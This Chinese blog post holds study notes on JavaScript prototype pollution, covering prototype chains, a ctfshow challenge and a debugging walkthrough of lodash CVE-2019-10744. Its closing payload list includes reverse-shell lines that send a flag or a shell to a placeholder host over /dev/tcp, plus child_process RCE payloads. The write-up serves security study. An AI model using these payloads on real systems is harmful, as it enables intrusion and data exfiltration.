首页 > 其他分享 >JS原型链污染学习笔记

JS原型链污染学习笔记

时间:2023-08-11 20:45:27浏览次数:48  
标签:__ console lodash proto object 笔记 JS 原型

1.JS原型和继承机制

1> 原型及其搜索机制
  • NodeJS原型机制,比较官方的定义:

我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,

而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法

设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。

而原型机制恰好满足这种需求。

打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用

2> 原型链和继承
  • 原型链

原型链是在原型上实现继承的一种形式

举个例子:

function Father(){
    this.name = "father";
    this.age = 66;
}

function Son(){
    this.name = "son";
}

var father1 = new Father();

Son.prototype = father1;

var son1 = new Son();

console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);


/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}       
null
*/

整个的原型继承链如下:

image-20230501151612259

  • 关于原型搜索机制:

1)搜索当前实例属性

2)搜索当前实例的原型属性

3)迭代搜索直至null

在上面的例子中

console.log(son1.name);
console.log(son1.age);
/*
son
66 
*/
3> 内置对象的原型

这个也是多级原型链污染的基础

拿一张业内很经典的图来看看

img

2.姿势利用

1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')

image-20230501153417183

2>多级污染

ctfshow Web340中有这么一题:

/* login.js */
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

由于Function原型对象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通过这个进行多级污染,payload为如下形式:

{
    "__proto__":{
        "__proto__":{
            attack_code
        }
    }
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12

CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。

看下官方样例PoC的调试过程:

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'

function check() {
    lodash.defaultsDeep({}, JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}

check();

开始调试:

在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。

所以主体逻辑为,而这段匿名函数也将为func的函数的函数体

args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);

image-20230501172924114

查看overRest

在变量监听中可以发现,传入的参数整合成一个参数对象args

image-20230501165542755

继续往下return apply

image-20230501200948397

apply后进入,是个使用switch并且根据参数个数作为依据

发现使用了call,这里可能是个进行原型链继承的可利用点。

(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)

function Super(){}
function Sub(){
    Super.call(this);			// 继承
}

然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMergemerge的声明方式

image-20230501201429867

继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

image-20230501202011773

基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动

image-20230501203050752

继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global

image-20230501203715075

assigner视为合并的一个黑盒函数即可,至此完成原型链污染。

image-20230501204240350

image-20230501204336670

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})

所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)

注意:通常而言,合并需要考虑深浅拷贝的问题

/*baseMerge*/
    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {					// 优化判断是否为同一对象,是则直接返回
        return;
      }
        
        // 遍历source的属性,选择深浅复制
        
      baseFor(source, function(srcValue, key) {
        if (isObject(srcValue)) {
          stack || (stack = new Stack);
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;

          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }
    var baseFor = createBaseFor();
    function createBaseFor(fromRight) {			// fromRight选择从哪端开始遍历		
      return function(object, iteratee, keysFunc) {
        var index = -1,
            iterable = Object(object),
            props = keysFunc(object),
            length = props.length;

        while (length--) {
          var key = props[fromRight ? length : ++index];
          if (iteratee(iterable[key], key, iterable) === false) {	// 这里的iteratee即为baseFor中的匿名函数
            break;
          }
        }
        return object;
      };
    }

那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。

image-20230501214414062

原来在4.17.12之前的版本也是有waf的,只是比较弱。

image-20230501214540947

回归正题,在customizer之后便产生了合并

image-20230501215807038

所以,为了更好地观察,我将{}替换成[](Array对象实例)

重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。

image-20230501220535024

image-20230501222217997

这是在生成属性时需要设置的四种数据属性

image-20230501221244986

回归正题,发现只能写入Array的原型

image-20230501221644127

再验证一下

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'

var object = new Object();

function check() {
    // JSON.parse(payload)之后是一个JS对象
    lodash.defaultsDeep([],JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}

check();

console.log(Array.prototype);

image-20230501221752843

所以说需要直接传入一个Object的实例。

官方修复,直接上waf:检测JSON中的payload中的key值

此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

image-20230501210253505

总结一下,CVE-2019-10744可用的payload

# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}

# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}

# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}

3.参考文献与链接

  1. 《JavaScript高级程序设计语言》
  2. https://www.anquanke.com/post/id/248170
  3. ctfshow平台题目
  4. CVE-2019-10744 WAF:https://github.com/lodash/lodash/pull/4336/files
  5. https://www.viewofthai.link/2022/04/22/lodash原型链污染/

标签:__,console,lodash,proto,object,笔记,JS,原型
From: https://www.cnblogs.com/icfh/p/17623898.html

相关文章

  • openGauss学习笔记-37 openGauss 高级数据管理-事务
    openGauss学习笔记-37openGauss高级数据管理-事务事务是用户定义的一个数据库操作序列,这些操作要么全做要么全不做,是一个不可分割的工作单位。openGauss数据库支持的事务控制命令有启动、设置、提交、回滚事务。openGauss数据库支持的事务隔离级别有读已提交和可重复读。READ......
  • 学习笔记_莫比乌斯反演
    前置知识:整除分块莫比乌斯函数(\(\mu\))$\mu(d)=\begin{cases}1&(d=1)\\(-1)^{k}&\forallC_i=1\\0&\existsC_i>1\end{cases}$性质1.对于任意正整数\(n\),$$\sum_{d|n}\mu(d)=[n=1]$$[]是一个返回bool型值的判断,当[]内条件成立时返回1,否则返回0.2.对于任意......
  • Json 基于类 Newtonsoft.Json.Linq.JToken 的应用简介【C# 基础】
    〇、前言在日常开发中,对于Json的使用还是比较频繁的,特别是Json对象和字符串或者实体对象之间的转换。虽然几乎天天用,但是总是感觉没那么明了,今天结合微软的Newtonsoft.Json.Linq类,试着详解一下,把相关的内容列一下。一、Newtonsoft.Json.Linq的层级结构简单画个图,肯定比......
  • wix中,传参给c#扩展的customAction的 使用笔记
    即时的CA不可回滚,但是能直接在c#里用session["属性名称"]访问上下文的属性如果是延迟执行的CA,需要通过customActionData<!--id需要一样--><CustomActionid="xxx"Execute="deferred"..../><PropertyId="xxx"Value="Arg1=111;Arg2=222;......
  • JScript 连接 ACCESS2010数据库
    vardb=newActiveXObject("adodb.connection");varret=db.Open("Provider=Microsoft.Ace.OLEDB.12.0;DataSource=D:\\Database11.accdb");varCommandText="insertintouser(id,name)values(100,'admin&......
  • toJSONString踩坑
    toJSONString踩坑toJSONString空值被忽略解决办法data中部分字段值为null,在JSON.toJSONString的过程中会把null值过滤掉,最后导致转换后的数据中部分字段丢失了解决办法:用toJSONString(Objectobject,SerializerFeature…features)JSON.toJSONString(data,SerializerFeature......
  • .net core Fleck WebSocket使用笔记
    @@.netcoreFleck socket帮助类usingFleck;usingKOTL_EvidenceService.Model;usingSystem;usingSystem.Collections.Generic;namespaceKOTL_EvidenceService.Util{publicclassServerHelper{WebSocketS......
  • 【学习笔记】简单数论
    前言开个大坑。正文质数质数的个数是无限的。试除法:若一个正整数\(N\)为合数,则存在一个能整除\(N\)的数\(T\),其中\(2\leT\le\sqrt{N}\)。时间复杂度为\(O(\sqrt{n})\)。代码实现boolisprime(intn){if(n<2)returnfalse;for(in......
  • 面试笔记
    目录HTTP请求方法有几种,他们各自的特点是什么?HTTP请求方法有几种,他们各自的特点是什么?HTTP请求方法指的是客户端向服务器请求数据时所使用的不同的HTTP方法。常用的HTTP请求方法有以下几种:GET:用于获取资源,一般用于读取数据。特点是请求参数在URL中,请求体为空。POST:用于提交......
  • JSON for java入门总结
    一、JSON介绍JSON(JavaScriptObjectNotation),类似于XML,是一种数据交换格式,比如JAVA产生了一个数据想要给JavaScript,则除了利用XML外,还可以利用JSON;JSON相比XML的优势是表达起来很简单;官网:http://www.json.org/JSON是AJAX中的X(就是可以取代XML);     ------出自JSON创......